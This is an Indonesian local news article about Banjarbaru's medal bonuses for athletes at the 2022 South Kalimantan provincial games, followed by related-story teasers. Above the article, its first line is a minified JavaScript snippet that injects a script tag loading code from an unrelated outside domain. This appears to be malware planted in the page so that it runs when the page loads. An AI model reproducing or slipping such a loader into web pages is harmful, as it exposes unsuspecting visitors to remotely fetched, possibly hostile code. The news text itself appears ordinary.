(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Bonus atlet Kota Banjarbaru peraih medali di ajang Pekan Olahraga Provinsi (Porprov) Kalimantan Selatan (Kalsel) di Hulu Sungai Selatan (HSS) tahun 2022, sempat jadi pertanyaan. Dinas Pemuda Olahraga Kebudayasn dan Pariwisata (Disporabudpar) Banjarbaru akhirnya buka suara menegaskan tidak ada pemotongan bonus atlet.
Untuk peraih medali emas perorangan Rp 22,5 juta, medali perak perorangan Rp 12,5 juta dan peraih perunggu perorangan Rp 9 juta.
Kepala Disporabudpar Kota Banjarbaru, A Yani Makkie menegaskan tidak ada pemotongan sedikitpun untuk bonus atlet tersebut.
Besaran nominal didapat sesuai kesanggupan dan keadaan dari keuangan Pemko Banjarbaru.
Baca juga: Bappedalitbang Kabupaten Banjar Gelar FGD Forum Satu Data
“Tidak ada pemotongan, melihat kondisi keuangan daerah besarannya seperti itu,” tegasnya, Kamis (6/4/2023) siang.
Disebutkan Yani Makkie untuk bonus atlet Kota Banjarbaru saat Porprov Kalsel di HSS ini sudah mengalami kenaikan signifikan daripada Porprov di Tabalong lalu.
Untuk surat yang beredar, Yani mengaku bingung, padahal belum ada surat resmi dari Setdako Banjarbaru. Dari hasil rapat bersama pada Rabu (5/4/2023) kemarin, untuk nominal penghargaan yang akan diterima atlet peraih medali untuk emas Rp 22,5 juta, perak Rp 12,5 juta dan perunggu Rp 9 juta.
“Sudah fix data nominal penghargaan atlet Porprov yang disampaikan tadi,” tekannya.
Selanjutnya, diungkapkan Yani pihaknya akan bersurat ke KONI Banjarbaru untuk menyampaikan dokumen resminya.
Baca juga: Diduga Berkelahi, ODGJ Terjatuh ke Bawah Jembatan RK Ilir Banjarmasin
Sebelumnya beredar surat berkop Pemerintah Kota Banjarbaru Sekretariat Daerah dengan nomor surat: 900/ /BPKAD, pada bagian kedua nampak para peraih medali emas tunggal yang usulan semula Rp 25 juta menjadi Rp 22,5 juta, medali perak tunggal Rp 15 juta menjadi Rp 10 juta dan medali perunggu Rp 10 juta menjadi Rp 7,5 juta. Sedangkan untuk ketua cabang olahraga (Cabor) dan sekretariat KONI tidak diberikan.
Berbagai pertanyaan hadir dari beberapa atlet terkait nominal tersebut, kemudian KONI Banjarbaru, Disporabudpar Banjarbaru dan BPKAD Banjarbaru menggelar rapat bersama pada Rabu (5/4/2023) membahas bonus atlet yang akan diberikan, sehingga muncullah angka bagi atlet peraih medali untuk emas Rp 22,5 juta, perak Rp 12,5 juta dan perunggu Rp 9 juta, nominal tersebut berdasarkan kemampuan keuangan dari Pemko Banjarbaru. (Kanalkalimantan.com/Ibnu)
Reporter: ibnu
Editor: cell
KANALKALIMANTAN.COM, MARTAPURA - Alun-alun Ratu Zalecha, Martapura dipilih menjadi tempat nonton bareng (nobar) Semi Final… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi secara resmi menutup gelaran Expo… Read More
KANALKALIMANTAN.COM, BANJARBARU - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur (UIP3B) Kalimantan melalui… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Nonton bareng (Nobar) laga semifinal AFC U-23 Indonesia vs Uzbekistan di halaman… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS – Tiga rekor Museum Rekor Indonesia (Muri) menjadi catatan kado Hari Jadi… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Momen perayaan Hari Jadi ke-218 Kota Kuala Kapuas dan Hari Ulang… Read More
This website uses cookies.